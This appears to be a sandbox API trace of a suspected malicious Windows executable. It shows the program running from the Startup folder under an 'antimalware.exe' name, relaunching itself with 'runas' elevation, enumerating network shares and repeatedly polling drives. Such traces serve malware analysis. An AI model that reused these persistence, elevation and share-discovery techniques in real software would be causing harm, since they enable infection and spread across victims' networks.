	[0132.413] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x575cf0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0x8f
	[0132.413] ShellExecuteExW (in: pExecInfo=0x273ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x273ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
	[0175.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x45926f8
	[0175.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45926f8, Size=0x20) returned 0x45b0638
	[0175.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592668
	[0175.540] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592668, Size=0x20) returned 0x45aff58
	[0175.541] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0175.541] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0175.541] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0
	[0175.543] lstrlenW (lpString="kernel32.dll") returned 12
	[0175.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45aff58 | out: hHeap=0x4f0000) returned 1
	[0175.543] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0175.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b0638 | out: hHeap=0x4f0000) returned 1
	[0175.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0175.543] lstrlenW (lpString="runas") returned 5
	[0175.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d7b0 | out: hHeap=0x4f0000) returned 1
	[0175.543] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0
	[0175.543] ReleaseMutex (hMutex=0x1ec) returned 1
	[0175.543] Sleep (dwMilliseconds=0x1f4) 
	[0176.172] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0
	[0176.172] ReleaseMutex (hMutex=0x1ec) returned 1
	[0176.172] Sleep (dwMilliseconds=0x1f4) 
	[0177.007] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0
	[0177.007] ReleaseMutex (hMutex=0x1ec) returned 1
	[0177.007] Sleep (dwMilliseconds=0x1f4) 
	[0177.700] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102
	[0177.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533030 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 38
	os_tid = 0xe08

	[0132.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x54da08
	[0132.442] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54da08, Size=0x20) returned 0x52da90
	[0132.442] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52da90, Size=0x40) returned 0x507bb8
	[0132.442] GetLogicalDrives () returned 0x4
	[0132.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x585cf8
	[0132.442] GetComputerNameW (in: lpBuffer=0x585cfc, nSize=0x283ff64 | out: lpBuffer="NQDPDE", nSize=0x283ff64) returned 1
	[0132.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x553698
	[0132.442] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x283ff34 | out: lphEnum=0x283ff34*=0x506940) returned 0x0
	[0132.443] WNetEnumResourceW (in: hEnum=0x506940, lpcCount=0x283ff30, lpBuffer=0x553698, lpBufferSize=0x283ff38 | out: lpcCount=0x283ff30, lpBuffer=0x553698, lpBufferSize=0x283ff38) returned 0x103
	[0132.443] WNetCloseEnum (hEnum=0x506940) returned 0x0
	[0132.443] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x283ff34 | out: lphEnum=0x283ff34*=0x5dd4c0) returned 0x0
	[0133.723] WNetEnumResourceW (in: hEnum=0x5dd4c0, lpcCount=0x283ff30, lpBuffer=0x553698, lpBufferSize=0x283ff38 | out: lpcCount=0x283ff30, lpBuffer=0x553698, lpBufferSize=0x283ff38) returned 0x0
	[0133.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x38b3e50
	[0133.723] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x553698, lphEnum=0x283ff08 | out: lphEnum=0x283ff08*=0x5067c0) returned 0x0
	[0133.731] WNetEnumResourceW (in: hEnum=0x5067c0, lpcCount=0x283ff04, lpBuffer=0x38b3e50, lpBufferSize=0x283ff0c | out: lpcCount=0x283ff04, lpBuffer=0x38b3e50, lpBufferSize=0x283ff0c) returned 0x103
	[0133.731] WNetCloseEnum (hEnum=0x5067c0) returned 0x0
	[0133.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x38b2e48
	[0133.731] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5536b8, lphEnum=0x283ff08 | out: lphEnum=0x283ff08*=0x0) returned 0x4b8
	[0149.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x4550098
	[0149.643] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5536d8, lphEnum=0x283ff08 | out: lphEnum=0x283ff08*=0x0) returned 0x4c6
	[0149.650] WNetEnumResourceW (in: hEnum=0x5dd4c0, lpcCount=0x283ff30, lpBuffer=0x553698, lpBufferSize=0x283ff38 | out: lpcCount=0x283ff30, lpBuffer=0x553698, lpBufferSize=0x283ff38) returned 0x103
	[0149.650] WNetCloseEnum (hEnum=0x5dd4c0) returned 0x0
	[0149.651] GetLogicalDrives () returned 0x4
	[0149.651] Sleep (dwMilliseconds=0x64) 
	[0149.807] GetLogicalDrives () returned 0x4
	[0149.807] Sleep (dwMilliseconds=0x64) 
	[0150.243] GetLogicalDrives () returned 0x4
	[0150.243] Sleep (dwMilliseconds=0x64) 
	[0150.415] GetLogicalDrives () returned 0x4
	[0150.415] Sleep (dwMilliseconds=0x64) 
	[0150.683] GetLogicalDrives () returned 0x4
	[0150.683] Sleep (dwMilliseconds=0x64) 
	[0151.022] GetLogicalDrives () returned 0x4
	[0151.022] Sleep (dwMilliseconds=0x64) 
	[0151.314] GetLogicalDrives () returned 0x4
	[0151.314] Sleep (dwMilliseconds=0x64) 
	[0151.682] GetLogicalDrives () returned 0x4
	[0151.682] Sleep (dwMilliseconds=0x64) 
	[0151.921] GetLogicalDrives () returned 0x4
	[0151.921] Sleep (dwMilliseconds=0x64) 
	[0152.321] GetLogicalDrives () returned 0x4
	[0152.321] Sleep (dwMilliseconds=0x64) 
	[0153.193] GetLogicalDrives () returned 0x4
	[0153.193] Sleep (dwMilliseconds=0x64) 
	[0153.568] GetLogicalDrives () returned 0x4
	[0153.568] Sleep (dwMilliseconds=0x64) 
	[0153.765] GetLogicalDrives () returned 0x4
	[0153.765] Sleep (dwMilliseconds=0x64) 
	[0154.046] GetLogicalDrives () returned 0x4
	[0154.046] Sleep (dwMilliseconds=0x64) 
	[0154.366] GetLogicalDrives () returned 0x4
	[0154.366] Sleep (dwMilliseconds=0x64) 
	[0154.815] GetLogicalDrives () returned 0x4
	[0154.815] Sleep (dwMilliseconds=0x64) 
	[0155.407] GetLogicalDrives () returned 0x4
	[0155.407] Sleep (dwMilliseconds=0x64) 
	[0156.115] GetLogicalDrives () returned 0x4
	[0156.115] Sleep (dwMilliseconds=0x64) 
	[0156.240] GetLogicalDrives () returned 0x4
	[0156.240] Sleep (dwMilliseconds=0x64) 
	[0156.532] GetLogicalDrives () returned 0x4
	[0156.532] Sleep (dwMilliseconds=0x64) 
	[0156.675] GetLogicalDrives () returned 0x4
	[0156.676] Sleep (dwMilliseconds=0x64) 
	[0156.911] GetLogicalDrives () returned 0x4
	[0156.911] Sleep (dwMilliseconds=0x64) 
	[0157.468] GetLogicalDrives () returned 0x4
	[0157.468] Sleep (dwMilliseconds=0x64) 
	[0157.900] GetLogicalDrives () returned 0x4
	[0157.900] Sleep (dwMilliseconds=0x64) 
	[0158.032] GetLogicalDrives () returned 0x4
	[0158.032] Sleep (dwMilliseconds=0x64) 
	[0158.260] GetLogicalDrives () returned 0x4
	[0158.260] Sleep (dwMilliseconds=0x64) 
	[0158.579] GetLogicalDrives () returned 0x4
	[0158.579] Sleep (dwMilliseconds=0x64) 
	[0159.150] GetLogicalDrives () returned 0x4
	[0159.150] Sleep (dwMilliseconds=0x64) 
	[0160.109] GetLogicalDrives () returned 0x4
	[0160.109] Sleep (dwMilliseconds=0x64) 
	[0160.458] GetLogicalDrives () returned 0x4
	[0160.458] Sleep (dwMilliseconds=0x64) 
	[0160.624] GetLogicalDrives () returned 0x4
	[0160.624] Sleep (dwMilliseconds=0x64) 
	[0160.871] GetLogicalDrives () returned 0x4
	[0160.871] Sleep (dwMilliseconds=0x64) 
	[0161.065] GetLogicalDrives () returned 0x4
	[0161.066] Sleep (dwMilliseconds=0x64) 
	[0161.449] GetLogicalDrives () returned 0x4
	[0161.449] Sleep (dwMilliseconds=0x64) 
	[0161.902] GetLogicalDrives () returned 0x4
	[0161.903] Sleep (dwMilliseconds=0x64) 
	[0162.369] GetLogicalDrives () returned 0x4
	[0162.369] Sleep (dwMilliseconds=0x64) 
	[0162.895] GetLogicalDrives () returned 0x4
	[0162.895] Sleep (dwMilliseconds=0x64) 
	[0163.221] GetLogicalDrives () returned 0x4
	[0163.222] Sleep (dwMilliseconds=0x64) 
	[0163.364] GetLogicalDrives () returned 0x4
	[0163.365] Sleep (dwMilliseconds=0x64) 
	[0163.738] GetLogicalDrives () returned 0x4
	[0163.739] Sleep (dwMilliseconds=0x64) 
	[0163.954] GetLogicalDrives () returned 0x4
	[0163.954] Sleep (dwMilliseconds=0x64) 
	[0164.319] GetLogicalDrives () returned 0x4
	[0164.319] Sleep (dwMilliseconds=0x64) 
	[0164.701] GetLogicalDrives () returned 0x4
	[0164.701] Sleep (dwMilliseconds=0x64) 
	[0165.148] GetLogicalDrives () returned 0x4
	[0165.149] Sleep (dwMilliseconds=0x64) 
	[0165.701] GetLogicalDrives () returned 0x4
	[0165.701] Sleep (dwMilliseconds=0x64) 
	[0165.970] GetLogicalDrives () returned 0x4
	[0165.970] Sleep (dwMilliseconds=0x64) 
	[0166.393] GetLogicalDrives () returned 0x4
	[0166.393] Sleep (dwMilliseconds=0x64) 
	[0166.537] GetLogicalDrives () returned 0x4
	[0166.537] Sleep (dwMilliseconds=0x64) 
	[0166.911] GetLogicalDrives () returned 0x4
	[0166.911] Sleep (dwMilliseconds=0x64) 
	[0167.143] GetLogicalDrives () returned 0x4
	[0167.143] Sleep (dwMilliseconds=0x64) 
	[0167.322] GetLogicalDrives () returned 0x4
	[0167.322] Sleep (dwMilliseconds=0x64) 
	[0167.552] GetLogicalDrives () returned 0x4
	[0167.552] Sleep (dwMilliseconds=0x64) 
	[0167.784] GetLogicalDrives () returned 0x4
	[0167.784] Sleep (dwMilliseconds=0x64) 
	[0168.010] GetLogicalDrives () returned 0x4
	[0168.010] Sleep (dwMilliseconds=0x64) 
	[0168.223] GetLogicalDrives () returned 0x4
	[0168.223] Sleep (dwMilliseconds=0x64) 
	[0168.568] GetLogicalDrives () returned 0x4
	[0168.568] Sleep (dwMilliseconds=0x64) 
	[0168.832] GetLogicalDrives () returned 0x4
	[0168.832] Sleep (dwMilliseconds=0x64) 
	[0169.155] GetLogicalDrives () returned 0x4
	[0169.155] Sleep (dwMilliseconds=0x64) 
	[0169.797] GetLogicalDrives () returned 0x4
	[0169.797] Sleep (dwMilliseconds=0x64) 
	[0169.963] GetLogicalDrives () returned 0x4
	[0169.963] Sleep (dwMilliseconds=0x64) 
	[0170.210] GetLogicalDrives () returned 0x4
	[0170.211] Sleep (dwMilliseconds=0x64) 
	[0170.438] GetLogicalDrives () returned 0x4
	[0170.438] Sleep (dwMilliseconds=0x64) 
	[0170.626] GetLogicalDrives () returned 0x4
	[0170.626] Sleep (dwMilliseconds=0x64) 
	[0171.210] GetLogicalDrives () returned 0x4
	[0171.210] Sleep (dwMilliseconds=0x64) 
	[0171.478] GetLogicalDrives () returned 0x4
	[0171.478] Sleep (dwMilliseconds=0x64) 
	[0171.794] GetLogicalDrives () returned 0x4
	[0171.794] Sleep (dwMilliseconds=0x64) 
	[0171.934] GetLogicalDrives () returned 0x4
	[0171.934] Sleep (dwMilliseconds=0x64) 
	[0172.252] GetLogicalDrives () returned 0x4
	[0172.252] Sleep (dwMilliseconds=0x64) 
	[0172.715] GetLogicalDrives () returned 0x4
	[0172.715] Sleep (dwMilliseconds=0x64) 
	[0173.089] GetLogicalDrives () returned 0x4
	[0173.089] Sleep (dwMilliseconds=0x64) 
	[0173.362] GetLogicalDrives () returned 0x4
	[0173.362] Sleep (dwMilliseconds=0x64) 
	[0173.692] GetLogicalDrives () returned 0x4
	[0173.692] Sleep (dwMilliseconds=0x64) 
	[0174.122] GetLogicalDrives () returned 0x4
	[0174.136] Sleep (dwMilliseconds=0x64) 
	[0174.550] GetLogicalDrives () returned 0x4
	[0174.550] Sleep (dwMilliseconds=0x64) 
	[0174.804] GetLogicalDrives () returned 0x4
	[0174.804] Sleep (dwMilliseconds=0x64) 
	[0174.929] GetLogicalDrives () returned 0x4
	[0174.929] Sleep (dwMilliseconds=0x64) 
	[0175.074] GetLogicalDrives () returned 0x4
	[0175.074] Sleep (dwMilliseconds=0x64) 
	[0175.423] GetLogicalDrives () returned 0x4
	[0175.423] Sleep (dwMilliseconds=0x64) 
	[0175.826] GetLogicalDrives () returned 0x4
	[0175.826] Sleep (dwMilliseconds=0x64) 
	[0176.119] GetLogicalDrives () returned 0x4
	[0176.119] Sleep (dwMilliseconds=0x64) 
	[0176.385] GetLogicalDrives () returned 0x4
	[0176.385] Sleep (dwMilliseconds=0x64) 
	[0176.618] GetLogicalDrives () returned 0x4
	[0176.618] Sleep (dwMilliseconds=0x64) 
	[0177.122] GetLogicalDrives () returned 0x4
	[0177.133] Sleep (dwMilliseconds=0x64) 
	[0177.494] GetLogicalDrives () returned 0x4
	[0177.494] Sleep (dwMilliseconds=0x64) 
	[0177.702] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0177.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507bb8 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 39
	os_tid = 0xe0c

	[0132.448] GetTickCount () returned 0xe86c
	[0132.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x506c60
	[0132.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x506c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c
	[0132.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x506c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278
	[0132.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x506c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280
	[0132.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x506c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284
	[0132.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x54d8e8
	[0132.451] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d8e8, Size=0x20) returned 0x52d9a0
	[0132.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x54d8e8
	[0132.451] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d8e8, Size=0x20) returned 0x52db80
	[0132.451] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0132.451] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0132.451] Wow64DisableWow64FsRedirection (in: OldValue=0x297ff7c | out: OldValue=0x297ff7c*=0x0) returned 1
	[0132.452] lstrlenW (lpString="kernel32.dll") returned 12
	[0132.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d9a0 | out: hHeap=0x4f0000) returned 1
	[0132.452] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0132.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db80 | out: hHeap=0x4f0000) returned 1
	[0132.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x534cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
	[0132.452] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0132.649] GetTickCount () returned 0xe937
	[0132.649] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0133.191] GetTickCount () returned 0xeb4a
	[0133.191] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0133.590] GetTickCount () returned 0xece0
	[0133.590] GetTickCount () returned 0xece0
	[0133.590] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0133.805] GetTickCount () returned 0xedbb
	[0133.806] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0134.198] GetTickCount () returned 0xef42
	[0134.198] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0134.520] GetTickCount () returned 0xf07a
	[0134.520] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0134.893] GetTickCount () returned 0xf1f1
	[0134.893] GetTickCount () returned 0xf1f1
	[0134.893] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0135.238] GetTickCount () returned 0xf349
	[0135.238] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0135.901] GetTickCount () returned 0xf5e9
	[0135.901] GetTickCount () returned 0xf5e9
	[0135.901] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0136.334] GetTickCount () returned 0xf78f
	[0136.334] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0136.663] GetTickCount () returned 0xf8d7
	[0136.663] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0136.992] GetTickCount () returned 0xfa2e
	[0136.992] GetTickCount () returned 0xfa2e
	[0136.993] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0137.282] GetTickCount () returned 0xfb57
	[0137.282] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0137.409] GetTickCount () returned 0xfbd4
	[0137.409] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0137.560] GetTickCount () returned 0xfc61
	[0137.560] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0137.657] GetTickCount () returned 0xfcce
	[0137.657] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0137.766] GetTickCount () returned 0xfd3c
	[0137.766] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0137.893] GetTickCount () returned 0xfdb9
	[0137.893] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0138.437] GetTickCount () returned 0xffdc
	[0138.437] GetTickCount () returned 0xffdc
	[0138.437] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0139.153] GetTickCount () returned 0x1028b
	[0139.153] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0139.358] GetTickCount () returned 0x10366
	[0139.358] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0140.157] GetTickCount () returned 0x106b2
	[0140.202] GetTickCount () returned 0x106b2
	[0140.202] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0141.103] GetTickCount () returned 0x10a2c
	[0141.104] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0141.446] GetTickCount () returned 0x10b94
	[0141.446] GetTickCount () returned 0x10b94
	[0141.446] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0141.769] GetTickCount () returned 0x10ccc
	[0141.769] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0141.888] GetTickCount () returned 0x10d49
	[0141.888] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0142.066] GetTickCount () returned 0x10df5
	[0142.066] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0142.534] GetTickCount () returned 0x10fd9
	[0142.534] GetTickCount () returned 0x10fd9
	[0142.534] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0143.749] GetTickCount () returned 0x1148c
	[0143.749] GetTickCount () returned 0x1148c
	[0143.749] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0143.911] GetTickCount () returned 0x11538
	[0143.911] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0144.042] GetTickCount () returned 0x115b5
	[0144.042] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0144.212] GetTickCount () returned 0x11661
	[0144.212] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0144.422] GetTickCount () returned 0x1172c
	[0144.422] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0144.822] GetTickCount () returned 0x118c3
	[0144.822] GetTickCount () returned 0x118c3
	[0144.822] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0145.017] GetTickCount () returned 0x1198e
	[0145.018] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0145.258] GetTickCount () returned 0x11a78
	[0145.258] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0145.457] GetTickCount () returned 0x11b43
	[0145.457] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0145.695] GetTickCount () returned 0x11c2e
	[0145.695] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0145.905] GetTickCount () returned 0x11cf9
	[0145.905] GetTickCount () returned 0x11cf9
	[0145.905] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0146.071] GetTickCount () returned 0x11da5
	[0146.071] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0146.239] GetTickCount () returned 0x11e50
	[0146.239] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0146.637] GetTickCount () returned 0x11fd7
	[0146.637] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0146.890] GetTickCount () returned 0x120d1
	[0146.890] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0147.287] GetTickCount () returned 0x12258
	[0147.287] GetTickCount () returned 0x12258
	[0147.287] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0147.755] GetTickCount () returned 0x1243c
	[0147.755] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0148.059] GetTickCount () returned 0x12565
	[0148.059] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0148.554] GetTickCount () returned 0x12759
	[0148.554] GetTickCount () returned 0x12759
	[0148.554] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0148.734] GetTickCount () returned 0x12814
	[0148.734] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0149.211] GetTickCount () returned 0x129e9
	[0149.211] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0149.527] GetTickCount () returned 0x12b22
	[0149.527] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0149.682] GetTickCount () returned 0x12bbe
	[0149.682] GetTickCount () returned 0x12bbe
	[0149.682] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0149.827] GetTickCount () returned 0x12c4b
	[0149.827] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0150.242] GetTickCount () returned 0x12df0
	[0150.242] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0150.415] GetTickCount () returned 0x12e9c
	[0150.415] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0150.683] GetTickCount () returned 0x12fa6
	[0150.683] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0151.022] GetTickCount () returned 0x130fe
	[0151.022] GetTickCount () returned 0x130fe
	[0151.023] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0151.314] GetTickCount () returned 0x13217
	[0151.314] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0151.681] GetTickCount () returned 0x1338e
	[0151.681] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0151.921] GetTickCount () returned 0x13478
	[0151.921] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0152.322] GetTickCount () returned 0x1360f
	[0152.322] GetTickCount () returned 0x1360f
	[0152.322] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0153.192] GetTickCount () returned 0x1396a
	[0153.192] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0153.567] GetTickCount () returned 0x13ae1
	[0153.567] GetTickCount () returned 0x13ae1
	[0153.567] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0153.765] GetTickCount () returned 0x13bac
	[0153.765] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0154.046] GetTickCount () returned 0x13cc5
	[0154.046] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0154.367] GetTickCount () returned 0x13dfe
	[0154.367] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0154.814] GetTickCount () returned 0x13fc3
	[0154.814] GetTickCount () returned 0x13fc3
	[0154.814] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0155.405] GetTickCount () returned 0x14215
	[0155.405] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0156.116] GetTickCount () returned 0x144d4
	[0156.116] GetTickCount () returned 0x144d4
	[0156.116] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0156.239] GetTickCount () returned 0x14551
	[0156.239] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0156.531] GetTickCount () returned 0x1467a
	[0156.532] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0156.676] GetTickCount () returned 0x14716
	[0156.676] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0156.910] GetTickCount () returned 0x14800
	[0156.910] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0157.468] GetTickCount () returned 0x14a33
	[0157.468] GetTickCount () returned 0x14a33
	[0157.468] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0157.900] GetTickCount () returned 0x14bd9
	[0157.900] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
